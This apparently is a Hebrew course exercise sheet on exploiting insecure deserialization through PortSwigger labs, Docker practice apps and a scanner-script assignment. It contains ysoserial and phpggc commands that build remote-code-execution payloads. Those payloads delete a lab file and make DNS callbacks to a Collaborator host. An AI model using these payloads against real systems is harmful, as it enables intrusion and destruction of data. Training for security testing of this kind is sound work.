לדלג לתוכן

דסריאליזציה מתקדמת - Java - תרגיל

תרגיל 1 - זיהוי דסריאליזציה

משימה

השלימו את המעבדה הבאה ב-PortSwigger:

Modifying serialized objects
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects

שלבים מנחים

  1. התחברו לאפליקציה ובדקו את ה-Cookies ב-Burp
  2. מצאו Cookie שמכיל נתונים מסורלזים (Base64 שמתחיל ב-rO0AB או PHP serialized)
  3. פענחו את הנתונים וזהו את המבנה
  4. שנו את השדות כדי להסלים הרשאות
  5. קודדו מחדש ושלחו

תרגיל 2 - שינוי סוג נתונים

משימה

Modifying serialized data types
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types

שלבים מנחים

  1. בדקו את האובייקט המסורלז ב-Cookie
  2. שנו את סוג הנתונים של שדה מסוים (לדוגמה, ממחרוזת למספר)
  3. נצלו את ההשוואה הרופפת (loose comparison) שהשרת מבצע
  4. השיגו גישה לחשבון אדמין

תרגיל 3 - שימוש בפונקציונליות של האפליקציה

משימה

Using application functionality to exploit insecure deserialization
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization

שלבים מנחים

  1. מצאו פונקציונליות באפליקציה שמשתמשת בנתונים מהאובייקט המסורלז
  2. שנו את הנתיב בתוך האובייקט כדי למחוק קובץ קריטי
  3. הפעילו את הפונקציונליות שגורמת לשימוש בנתיב השונה

תרגיל 4 - injection אובייקט שרירותי

משימה

Exploiting Java deserialization with Apache Commons
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons

שלבים מנחים

  1. זהו שהאפליקציה משתמשת ב-Java serialization (Magic Bytes)
  2. הורידו את ysoserial
  3. נסו ליצור payload עם שרשרת CommonsCollections:
# Create a payload that performs a DNS lookup (for detection)
java -jar ysoserial-all.jar CommonsCollections4 "nslookup YOUR-SUBDOMAIN.burpcollaborator.net" | base64

# After confirming it works - a payload that deletes the user
java -jar ysoserial-all.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64
  1. החליפו את ה-Cookie בנתונים המסורלזים החדשים
  2. שלחו את הבקשה ובדקו שהפקודה הורצה

תרגיל 5 - שרשראות Gadget מותאמות

משימה

Exploiting Ruby deserialization using a documented gadget chain
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain

שלבים מנחים

  1. זהו את שפת התכנות שהשרת משתמש בה
  2. חפשו שרשרת Gadget מתועדת לשפה/ספרייה הספציפית
  3. בנו את ה-payload בהתאם
  4. קודדו ושלחו

תרגיל 6 - בניית Exploit מותאם

משימה

Developing a custom gadget chain for Java deserialization
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization

שלבים מנחים

  1. חפשו את קוד המקור של האפליקציה (לפעמים זמין ב-sitemap)
  2. נתחו את המחלקות הזמינות ב-classpath
  3. מצאו מחלקה עם readObject() מותאם
  4. עקבו אחרי שרשרת הקריאות עד שמוצאים דרך להריץ קוד
  5. בנו את האובייקט המסורלז ידנית:
import java.io.*;
import java.util.*;

public class CustomExploit {
    public static void main(String[] args) throws Exception {
        // TODO: build the Gadget chain
        // Each class in the chain must be Serializable

        // Serialize the payload
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(/* your gadget chain object */);
        oos.close();

        // Base64 encoding
        String encoded = Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(encoded);
    }
}

תרגיל 7 - PHAR דסריאליזציה

משימה

Exploiting PHP deserialization with a pre-built gadget chain
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain

שלבים מנחים

  1. זהו שהאפליקציה משתמשת בפריימוורק PHP ספציפי
  2. השתמשו ב-phpggc כדי ליצור payload:
# List available chains
./phpggc -l

# Create a payload
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' -b
  1. מצאו דרך להעביר את ה-payload לדסריאליזציה (Cookie, פרמטר, קובץ)

תרגיל 8 - סקריפט סריקה

משימה

כתבו סקריפט Python שמזהה נקודות דסריאליזציה בבקשות HTTP:

#!/usr/bin/env python3
"""
Java Deserialization Endpoint Scanner
"""
import requests
import base64
import re

# Magic bytes of Java serialization
JAVA_MAGIC = b'\xac\xed\x00\x05'
JAVA_MAGIC_B64 = 'rO0AB'

def check_parameter(value):
    """Check whether a parameter value contains serialized data"""
    # TODO: check:
    # 1. Whether it starts with rO0AB (Base64 of Java magic bytes)
    # 2. Whether after Base64 decode it starts with AC ED 00 05
    # 3. Whether it looks like PHP serialized (O:4:"User":...)
    # 4. Whether it looks like .NET ViewState
    pass

def scan_request(method, url, headers, body):
    """Scan an HTTP request to detect deserialization"""
    findings = []

    # TODO: check:
    # 1. Content-Type headers
    # 2. Cookie values
    # 3. URL parameters
    # 4. POST body parameters
    # 5. Custom headers

    return findings

def test_deserialization(url, param, method="GET"):
    """Attempt exploitation with a URLDNS payload"""
    # TODO:
    # 1. Create a URLDNS payload with ysoserial
    # 2. Send it in the vulnerable parameter
    # 3. Check in the Collaborator whether a DNS request arrived
    pass

דרישות

  1. הסקריפט צריך לקבל קובץ Burp XML export כקלט
  2. לסרוק את כל הבקשות ולזהות נתונים מסורלזים
  3. לנסות payload של URLDNS על כל נקודה שנמצאה
  4. להדפיס דוח עם הממצאים

תרגיל בונוס - מעבדה מקומית

משימה

הקימו מעבדה מקומית עם אפליקציה פגיעה:

# Run DeserLab - a dedicated deserialization lab
docker pull bkimminich/juice-shop
docker run -p 3000:3000 bkimminich/juice-shop

# Or run WebGoat
docker pull webgoat/webgoat
docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat

משימות

  1. מצאו את נקודת הדסריאליזציה באפליקציה
  2. זהו את הספריות ב-classpath
  3. נסו שרשראות שונות של ysoserial
  4. השיגו RCE
  5. תעדו את כל התהליך

סביבות תרגול נוספות

  • PortSwigger: כל מעבדות ה-Deserialization (כולל Expert)
  • HackTheBox: מכונות עם תגית Java/Deserialization
  • TryHackMe: "Intro to Java Deserialization" room
  • VulnHub: DeserLab